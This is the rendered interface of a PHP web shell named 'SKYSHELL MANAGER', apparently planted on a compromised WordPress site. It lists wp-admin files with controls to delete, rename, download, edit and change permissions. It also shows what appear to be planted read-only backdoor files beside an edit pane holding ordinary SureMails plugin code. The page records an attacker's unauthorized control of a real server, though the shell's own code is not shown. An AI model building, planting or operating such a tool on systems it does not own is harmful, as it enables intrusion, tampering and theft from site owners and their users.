📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: resend-email.php
<?php /** * ResendEmail class * * Handles the REST API endpoint for resending an email. * * @package SureMails\Inc\API */ namespace SureMails\Inc\API; use SureMails\Inc\ConnectionManager; use SureMails\Inc\Controller\Logger; use SureMails\Inc\DB\EmailLog; use SureMails\Inc\Traits\Instance; use SureMails\Inc\Traits\SendEmail; use WP_REST_Request; use WP_REST_Response; use WP_REST_Server; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Class ResendEmail * * Handles the `/resend-email' REST API endpoint. */ class ResendEmail extends Api_Base { use Instance; use SendEmail; /** * Route base. * * @var string */ protected $rest_base = '/resend-email'; /** * Register API routes. * * @since 0.0.1 * @return void */ public function register_routes() { register_rest_route( $this->get_api_namespace(), $this->rest_base, [ [ 'methods' => WP_REST_Server::CREATABLE, // POST method. 'callback' => [ $this, 'handle_resend_email' ], 'permission_callback' => [ $this, 'validate_permission' ], ], ] ); } /** * Handle resending an email based on log ID. * * @param WP_REST_Request<array<string, mixed>> $request The REST request object. * @return WP_REST_Response The REST API response. */ public function handle_resend_email( $request ) { $email_log = EmailLog::instance(); $log_ids = $request->get_param( 'log_ids' ); if ( ! is_array( $log_ids ) || empty( $log_ids ) ) { return new WP_REST_Response( [ 'success' => false, 'message' => __( 'Invalid log IDs provided.', 'suremails' ), ], 400 ); } $sanitized_log_ids = array_map( 'intval', $log_ids ); $results = []; $logger = Logger::instance(); $connection_manager = ConnectionManager::instance(); foreach ( $sanitized_log_ids as $log_id ) { $logs = $email_log->get( [ 'where' => [ 'id' => $log_id ], 'limit' => 1, // Ensure we only fetch one record. ] ); if ( empty( $logs ) ) { $results[] = [ 'log_id' => $log_id, 'success' => false, 'message' => __( 'Log not found.', 'suremails' ), ]; continue; } $log = $logs[0]; // Prepare the email attributes. /** * The email recipient. * * @var string $email_to */ $email_to = $log['email_to']; /** * The log subject. * * @var string $log_subject */ $log_subject = $log['subject']; /** * The log body. * * @var string $log_body */ $log_body = $log['body']; /** * The log headers. * * @var string|array<int, string> $log_headers */ $log_headers = $log['headers']; /** * The log attachments. * * @var array<int, string> $log_attachments */ $log_attachments = $log['attachments']; $logger->set_id( $log_id ); $connection_manager->set_is_resend( true ); /** * The send-to address. * * @var string $send_to */ $send_to = maybe_unserialize( $email_to ); $email_sent = self::send( $send_to, $log_subject, $log_body, $log_headers, $log_attachments ); if ( $email_sent ) { $results[] = [ 'log_id' => $log_id, 'success' => true, 'message' => __( 'Email resent successfully.', 'suremails' ), ]; } else { $results[] = [ 'log_id' => $log_id, 'success' => false, 'message' => __( 'Failed to resend email.', 'suremails' ), ]; } } $connection_manager->set_is_resend( false ); $overall_success = array_reduce( $results, static fn( $carry, $item) => $carry || $item['success'], false ); return new WP_REST_Response( [ 'success' => $overall_success, 'results' => $results, ], $overall_success ? 200 : 500 ); } } // Initialize the ResendEmail singleton. ResendEmail::instance();
Save